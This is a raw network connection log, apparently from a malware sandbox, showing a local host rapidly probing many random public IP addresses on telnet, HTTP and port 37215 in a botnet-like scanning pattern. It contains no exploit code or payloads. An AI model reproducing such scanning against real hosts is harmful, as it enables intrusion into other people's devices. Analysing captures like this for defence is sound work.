Jun 10, 2024 15:37:59.658092976 CEST	39894	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.658134937 CEST	46442	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.658740997 CEST	35328	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.659343958 CEST	33576	23	192.168.2.13	17.149.191.92
Jun 10, 2024 15:37:59.659848928 CEST	80	40556	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:59.659898996 CEST	40556	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.660674095 CEST	23	42496	118.103.225.24	192.168.2.13
Jun 10, 2024 15:37:59.660693884 CEST	42108	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.660716057 CEST	42496	23	192.168.2.13	118.103.225.24
Jun 10, 2024 15:37:59.662055016 CEST	54380	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.662717104 CEST	54580	23	192.168.2.13	205.253.14.196
Jun 10, 2024 15:37:59.663147926 CEST	37215	46442	156.98.83.218	192.168.2.13
Jun 10, 2024 15:37:59.663193941 CEST	46442	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.663670063 CEST	80	35328	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:59.663705111 CEST	35328	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.663783073 CEST	59100	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.664222002 CEST	23	33576	17.149.191.92	192.168.2.13
Jun 10, 2024 15:37:59.664257050 CEST	33576	23	192.168.2.13	17.149.191.92
Jun 10, 2024 15:37:59.665402889 CEST	55620	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.665504932 CEST	37215	42108	197.215.149.213	192.168.2.13
Jun 10, 2024 15:37:59.665538073 CEST	42108	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.666492939 CEST	50142	23	192.168.2.13	101.64.143.75
Jun 10, 2024 15:37:59.666991949 CEST	80	54380	167.251.162.140	192.168.2.13
Jun 10, 2024 15:37:59.667037010 CEST	54380	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.667244911 CEST	38960	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.667655945 CEST	23	54580	205.253.14.196	192.168.2.13
Jun 10, 2024 15:37:59.667701006 CEST	54580	23	192.168.2.13	205.253.14.196
Jun 10, 2024 15:37:59.668765068 CEST	37215	59100	156.216.173.116	192.168.2.13
Jun 10, 2024 15:37:59.668807030 CEST	59100	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.669416904 CEST	53776	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.670012951 CEST	38360	23	192.168.2.13	85.10.50.135
Jun 10, 2024 15:37:59.670221090 CEST	80	55620	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:59.670255899 CEST	55620	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.670372963 CEST	38428	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.671380997 CEST	23	50142	101.64.143.75	192.168.2.13
Jun 10, 2024 15:37:59.671422005 CEST	50142	23	192.168.2.13	101.64.143.75
Jun 10, 2024 15:37:59.672009945 CEST	40194	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.672169924 CEST	37215	38960	41.86.126.31	192.168.2.13
Jun 10, 2024 15:37:59.672209024 CEST	38960	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.672368050 CEST	58850	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.672751904 CEST	38458	23	192.168.2.13	150.168.58.113
Jun 10, 2024 15:37:59.674282074 CEST	80	53776	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:59.674320936 CEST	53776	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.674766064 CEST	48502	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.674946070 CEST	23	38360	85.10.50.135	192.168.2.13
Jun 10, 2024 15:37:59.674988985 CEST	38360	23	192.168.2.13	85.10.50.135
Jun 10, 2024 15:37:59.675029993 CEST	56508	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.675268888 CEST	37215	38428	197.123.58.130	192.168.2.13
Jun 10, 2024 15:37:59.675282001 CEST	35336	23	192.168.2.13	105.66.169.159
Jun 10, 2024 15:37:59.675304890 CEST	38428	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.676887035 CEST	80	40194	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:59.676913977 CEST	40194	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.677064896 CEST	58684	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.677156925 CEST	37215	58850	41.119.93.57	192.168.2.13
Jun 10, 2024 15:37:59.677195072 CEST	58850	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.677299023 CEST	34326	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.677656889 CEST	23	38458	150.168.58.113	192.168.2.13
Jun 10, 2024 15:37:59.677704096 CEST	38458	23	192.168.2.13	150.168.58.113
Jun 10, 2024 15:37:59.677901030 CEST	36266	23	192.168.2.13	99.177.223.89
Jun 10, 2024 15:37:59.679553032 CEST	33990	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.679591894 CEST	80	48502	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:59.679681063 CEST	48502	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.679816008 CEST	37215	56508	197.35.253.5	192.168.2.13
Jun 10, 2024 15:37:59.679862022 CEST	56508	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.680067062 CEST	48068	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.680188894 CEST	23	35336	105.66.169.159	192.168.2.13
Jun 10, 2024 15:37:59.680226088 CEST	35336	23	192.168.2.13	105.66.169.159
Jun 10, 2024 15:37:59.680551052 CEST	35570	23	192.168.2.13	197.107.167.28
Jun 10, 2024 15:37:59.681768894 CEST	36294	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.682059050 CEST	37215	58684	197.252.226.228	192.168.2.13
Jun 10, 2024 15:37:59.682099104 CEST	80	34326	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:59.682104111 CEST	58684	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.682137012 CEST	34326	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.682725906 CEST	23	36266	99.177.223.89	192.168.2.13
Jun 10, 2024 15:37:59.682764053 CEST	51382	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.682764053 CEST	36266	23	192.168.2.13	99.177.223.89
Jun 10, 2024 15:37:59.683128119 CEST	33644	23	192.168.2.13	130.32.142.3
Jun 10, 2024 15:37:59.684225082 CEST	38414	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.684447050 CEST	37215	33990	41.196.189.226	192.168.2.13
Jun 10, 2024 15:37:59.684508085 CEST	33990	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.684907913 CEST	80	48068	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:59.684941053 CEST	48068	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.685450077 CEST	35066	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.685484886 CEST	23	35570	197.107.167.28	192.168.2.13
Jun 10, 2024 15:37:59.685543060 CEST	35570	23	192.168.2.13	197.107.167.28
Jun 10, 2024 15:37:59.685955048 CEST	42130	23	192.168.2.13	93.133.135.212
Jun 10, 2024 15:37:59.686404943 CEST	39354	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.686624050 CEST	37215	36294	41.12.156.197	192.168.2.13
Jun 10, 2024 15:37:59.686661959 CEST	36294	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.687701941 CEST	80	51382	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.687751055 CEST	51382	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.688016891 CEST	23	33644	130.32.142.3	192.168.2.13
Jun 10, 2024 15:37:59.688061953 CEST	33644	23	192.168.2.13	130.32.142.3
Jun 10, 2024 15:37:59.688134909 CEST	53462	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.688633919 CEST	45526	23	192.168.2.13	194.114.95.197
Jun 10, 2024 15:37:59.688960075 CEST	51050	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.689095974 CEST	37215	38414	156.167.122.41	192.168.2.13
Jun 10, 2024 15:37:59.689130068 CEST	38414	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.690340996 CEST	80	35066	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.690382957 CEST	35066	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.690820932 CEST	23	42130	93.133.135.212	192.168.2.13
Jun 10, 2024 15:37:59.690860033 CEST	51492	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.690864086 CEST	42130	23	192.168.2.13	93.133.135.212
Jun 10, 2024 15:37:59.691243887 CEST	44164	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.691256046 CEST	37215	39354	41.113.11.68	192.168.2.13
Jun 10, 2024 15:37:59.691298008 CEST	39354	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.691375971 CEST	54794	23	192.168.2.13	116.57.103.152
Jun 10, 2024 15:37:59.692981005 CEST	80	53462	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.693037033 CEST	53462	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.693487883 CEST	23	45526	194.114.95.197	192.168.2.13
Jun 10, 2024 15:37:59.693546057 CEST	45526	23	192.168.2.13	194.114.95.197
Jun 10, 2024 15:37:59.693691015 CEST	40004	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.693901062 CEST	37215	51050	41.41.95.201	192.168.2.13
Jun 10, 2024 15:37:59.693958998 CEST	51050	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.693979979 CEST	47272	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.694242954 CEST	39398	23	192.168.2.13	71.255.88.187
Jun 10, 2024 15:37:59.695772886 CEST	80	51492	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.695817947 CEST	51492	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.696181059 CEST	37215	44164	41.26.2.2	192.168.2.13
Jun 10, 2024 15:37:59.696182966 CEST	56034	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.696227074 CEST	44164	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.696249962 CEST	23	54794	116.57.103.152	192.168.2.13
Jun 10, 2024 15:37:59.696290016 CEST	54794	23	192.168.2.13	116.57.103.152
Jun 10, 2024 15:37:59.696599960 CEST	34216	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.697102070 CEST	45174	23	192.168.2.13	143.24.152.47
Jun 10, 2024 15:37:59.698571920 CEST	80	40004	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.698609114 CEST	40004	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.698892117 CEST	42564	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.699023008 CEST	37215	47272	41.201.89.180	192.168.2.13
Jun 10, 2024 15:37:59.699074030 CEST	47272	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.699146032 CEST	23	39398	71.255.88.187	192.168.2.13
Jun 10, 2024 15:37:59.699186087 CEST	39398	23	192.168.2.13	71.255.88.187
Jun 10, 2024 15:37:59.699410915 CEST	33900	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.699934959 CEST	59006	23	192.168.2.13	130.63.23.172
Jun 10, 2024 15:37:59.701076031 CEST	37215	56034	41.66.186.65	192.168.2.13
Jun 10, 2024 15:37:59.701126099 CEST	56034	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.701206923 CEST	56114	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.701517105 CEST	80	34216	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.701564074 CEST	34216	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.702019930 CEST	23	45174	143.24.152.47	192.168.2.13
Jun 10, 2024 15:37:59.702059984 CEST	45174	23	192.168.2.13	143.24.152.47
Jun 10, 2024 15:37:59.702405930 CEST	49276	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.702940941 CEST	59114	23	192.168.2.13	40.158.200.103
Jun 10, 2024 15:37:59.703738928 CEST	37215	42564	197.27.200.127	192.168.2.13
Jun 10, 2024 15:37:59.703778028 CEST	42564	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.704045057 CEST	58138	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.704282999 CEST	80	33900	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.704323053 CEST	33900	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.704793930 CEST	23	59006	130.63.23.172	192.168.2.13
Jun 10, 2024 15:37:59.704837084 CEST	59006	23	192.168.2.13	130.63.23.172
Jun 10, 2024 15:37:59.705399990 CEST	60926	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.705965996 CEST	41790	23	192.168.2.13	145.110.175.175
Jun 10, 2024 15:37:59.706058979 CEST	37215	56114	156.237.170.76	192.168.2.13
Jun 10, 2024 15:37:59.706100941 CEST	56114	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.706479073 CEST	46788	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.707292080 CEST	80	49276	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.707343102 CEST	49276	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.707823038 CEST	23	59114	40.158.200.103	192.168.2.13
Jun 10, 2024 15:37:59.707859993 CEST	59114	23	192.168.2.13	40.158.200.103
Jun 10, 2024 15:37:59.708368063 CEST	58522	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.708776951 CEST	44222	23	192.168.2.13	177.57.136.238
Jun 10, 2024 15:37:59.708903074 CEST	37215	58138	156.59.177.15	192.168.2.13
Jun 10, 2024 15:37:59.708945990 CEST	58138	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.709177017 CEST	54370	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.710268021 CEST	80	60926	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.710318089 CEST	60926	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.710850954 CEST	23	41790	145.110.175.175	192.168.2.13
Jun 10, 2024 15:37:59.710901976 CEST	41790	23	192.168.2.13	145.110.175.175
Jun 10, 2024 15:37:59.711400032 CEST	49620	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.711405039 CEST	37215	46788	197.91.250.61	192.168.2.13
Jun 10, 2024 15:37:59.711452007 CEST	46788	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.711806059 CEST	48328	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.711946964 CEST	59972	23	192.168.2.13	9.123.70.97
Jun 10, 2024 15:37:59.713259935 CEST	80	58522	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.713316917 CEST	58522	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.713627100 CEST	23	44222	177.57.136.238	192.168.2.13
Jun 10, 2024 15:37:59.713670969 CEST	44222	23	192.168.2.13	177.57.136.238
Jun 10, 2024 15:37:59.714042902 CEST	37215	54370	156.201.14.29	192.168.2.13
Jun 10, 2024 15:37:59.714085102 CEST	54370	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.714452982 CEST	45994	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.714742899 CEST	41788	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.715039968 CEST	34204	23	192.168.2.13	103.49.44.0
Jun 10, 2024 15:37:59.716305971 CEST	80	49620	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.716527939 CEST	49620	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.716701031 CEST	37215	48328	41.15.193.245	192.168.2.13
Jun 10, 2024 15:37:59.716758013 CEST	48328	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.716799974 CEST	23	59972	9.123.70.97	192.168.2.13
Jun 10, 2024 15:37:59.716842890 CEST	59972	23	192.168.2.13	9.123.70.97
Jun 10, 2024 15:37:59.717140913 CEST	36602	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.717581987 CEST	49022	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.718141079 CEST	34302	23	192.168.2.13	141.254.243.59
Jun 10, 2024 15:37:59.719329119 CEST	80	45994	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.719372988 CEST	45994	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.719587088 CEST	37215	41788	197.234.232.228	192.168.2.13
Jun 10, 2024 15:37:59.719635963 CEST	41788	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.719887018 CEST	23	34204	103.49.44.0	192.168.2.13
Jun 10, 2024 15:37:59.719923973 CEST	34204	23	192.168.2.13	103.49.44.0
Jun 10, 2024 15:37:59.720099926 CEST	58160	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.720228910 CEST	43560	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.722009897 CEST	45692	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.722069979 CEST	37215	36602	197.230.194.3	192.168.2.13
Jun 10, 2024 15:37:59.722111940 CEST	36602	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.722292900 CEST	34410	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.722486019 CEST	80	49022	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.722532988 CEST	49022	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.723062992 CEST	23	34302	141.254.243.59	192.168.2.13
Jun 10, 2024 15:37:59.723119020 CEST	34302	23	192.168.2.13	141.254.243.59
Jun 10, 2024 15:37:59.723921061 CEST	49034	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:59.724040031 CEST	56400	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.724937916 CEST	37215	58160	197.119.156.133	192.168.2.13
Jun 10, 2024 15:37:59.724987984 CEST	58160	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.725100040 CEST	80	43560	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.725133896 CEST	43560	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.725785971 CEST	60046	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.725903988 CEST	43590	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.726948977 CEST	37215	45692	156.27.221.22	192.168.2.13
Jun 10, 2024 15:37:59.726999998 CEST	45692	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.727153063 CEST	80	34410	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.727199078 CEST	34410	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.727632046 CEST	47258	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.727757931 CEST	43232	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.728812933 CEST	37215	49034	197.216.238.129	192.168.2.13
Jun 10, 2024 15:37:59.728862047 CEST	49034	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:59.728935003 CEST	80	56400	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.728977919 CEST	56400	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.729562998 CEST	41548	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.729825974 CEST	37108	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.730668068 CEST	37215	60046	41.174.115.39	192.168.2.13
Jun 10, 2024 15:37:59.730711937 CEST	60046	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.730782032 CEST	80	43590	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.730830908 CEST	43590	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.731465101 CEST	56350	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.731597900 CEST	52018	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.732522011 CEST	37215	47258	41.170.34.101	192.168.2.13
Jun 10, 2024 15:37:59.732568026 CEST	47258	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.732604027 CEST	80	43232	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.732649088 CEST	43232	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.733416080 CEST	37084	23	192.168.2.13	178.112.24.109
Jun 10, 2024 15:37:59.733808994 CEST	60388	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.734332085 CEST	49412	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.734476089 CEST	37215	41548	197.33.14.33	192.168.2.13
Jun 10, 2024 15:37:59.734524965 CEST	41548	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.734720945 CEST	80	37108	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.734761953 CEST	37108	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.735941887 CEST	56814	23	192.168.2.13	161.223.29.209
Jun 10, 2024 15:37:59.736329079 CEST	37215	56350	156.211.89.221	192.168.2.13
Jun 10, 2024 15:37:59.736363888 CEST	56350	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.736423016 CEST	80	52018	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.736476898 CEST	52018	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.736623049 CEST	42046	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.737873077 CEST	56870	23	192.168.2.13	85.191.23.41
Jun 10, 2024 15:37:59.738270998 CEST	23	37084	178.112.24.109	192.168.2.13
Jun 10, 2024 15:37:59.738312006 CEST	37084	23	192.168.2.13	178.112.24.109
Jun 10, 2024 15:37:59.738524914 CEST	56778	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.738683939 CEST	37215	60388	197.149.113.57	192.168.2.13
Jun 10, 2024 15:37:59.738746881 CEST	60388	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.739211082 CEST	80	49412	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.739253998 CEST	49412	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.739737034 CEST	48036	23	192.168.2.13	183.72.192.189
Jun 10, 2024 15:37:59.740541935 CEST	39034	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.740873098 CEST	23	56814	161.223.29.209	192.168.2.13
Jun 10, 2024 15:37:59.740915060 CEST	56814	23	192.168.2.13	161.223.29.209
Jun 10, 2024 15:37:59.741519928 CEST	80	42046	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.741566896 CEST	42046	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.741589069 CEST	36912	23	192.168.2.13	48.238.160.167
Jun 10, 2024 15:37:59.742225885 CEST	52736	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.742753029 CEST	23	56870	85.191.23.41	192.168.2.13
Jun 10, 2024 15:37:59.742804050 CEST	56870	23	192.168.2.13	85.191.23.41
Jun 10, 2024 15:37:59.743396997 CEST	80	56778	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.743411064 CEST	51728	23	192.168.2.13	126.154.176.146
Jun 10, 2024 15:37:59.743438005 CEST	56778	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.744065046 CEST	57824	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.744599104 CEST	23	48036	183.72.192.189	192.168.2.13
Jun 10, 2024 15:37:59.744642973 CEST	48036	23	192.168.2.13	183.72.192.189
Jun 10, 2024 15:37:59.745290995 CEST	33534	23	192.168.2.13	117.118.248.143
Jun 10, 2024 15:37:59.745543957 CEST	80	39034	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.745599985 CEST	39034	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.745868921 CEST	37862	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.745943069 CEST	37862	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.746216059 CEST	37326	23	192.168.2.13	187.195.80.142
Jun 10, 2024 15:37:59.746474981 CEST	23	36912	48.238.160.167	192.168.2.13
Jun 10, 2024 15:37:59.746519089 CEST	36912	23	192.168.2.13	48.238.160.167
Jun 10, 2024 15:37:59.746861935 CEST	38216	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.747107029 CEST	80	52736	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.747149944 CEST	52736	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.747936964 CEST	32824	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.747936964 CEST	32824	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.748065948 CEST	46434	23	192.168.2.13	76.165.180.163
Jun 10, 2024 15:37:59.748347998 CEST	23	51728	126.154.176.146	192.168.2.13
Jun 10, 2024 15:37:59.748398066 CEST	51728	23	192.168.2.13	126.154.176.146
Jun 10, 2024 15:37:59.748970032 CEST	80	57824	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.749018908 CEST	57824	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.749176979 CEST	44740	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.749310970 CEST	33178	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.750194073 CEST	23	33534	117.118.248.143	192.168.2.13
Jun 10, 2024 15:37:59.750233889 CEST	33534	23	192.168.2.13	117.118.248.143
Jun 10, 2024 15:37:59.750503063 CEST	45192	23	192.168.2.13	217.177.129.226
Jun 10, 2024 15:37:59.750794888 CEST	80	37862	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:59.750932932 CEST	35674	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.750932932 CEST	35674	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.751116037 CEST	23	37326	187.195.80.142	192.168.2.13
Jun 10, 2024 15:37:59.751171112 CEST	37326	23	192.168.2.13	187.195.80.142
Jun 10, 2024 15:37:59.751801968 CEST	80	38216	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:59.751842976 CEST	38216	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.752156019 CEST	36530	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.752279043 CEST	36028	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.752818108 CEST	80	32824	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:59.752968073 CEST	23	46434	76.165.180.163	192.168.2.13
Jun 10, 2024 15:37:59.753015041 CEST	46434	23	192.168.2.13	76.165.180.163
Jun 10, 2024 15:37:59.753312111 CEST	58844	23	192.168.2.13	13.140.175.29
Jun 10, 2024 15:37:59.753726006 CEST	58648	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.753741980 CEST	58648	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.754029989 CEST	37215	44740	41.38.164.93	192.168.2.13
Jun 10, 2024 15:37:59.754075050 CEST	44740	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.754163980 CEST	80	33178	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:59.754220963 CEST	33178	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.754673004 CEST	34932	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.754760981 CEST	59002	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.755059004 CEST	50418	23	192.168.2.13	69.167.90.241
Jun 10, 2024 15:37:59.755419016 CEST	23	45192	217.177.129.226	192.168.2.13
Jun 10, 2024 15:37:59.755465031 CEST	45192	23	192.168.2.13	217.177.129.226
Jun 10, 2024 15:37:59.755806923 CEST	80	35674	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:59.756000996 CEST	53434	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.756021023 CEST	53434	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.756918907 CEST	60878	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.757006884 CEST	37215	36530	156.231.3.185	192.168.2.13
Jun 10, 2024 15:37:59.757013083 CEST	53788	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.757057905 CEST	36530	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.757108927 CEST	80	36028	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:59.757121086 CEST	40608	23	192.168.2.13	81.151.185.7
Jun 10, 2024 15:37:59.757153988 CEST	36028	80	192.168.2.13	151.218.172.48
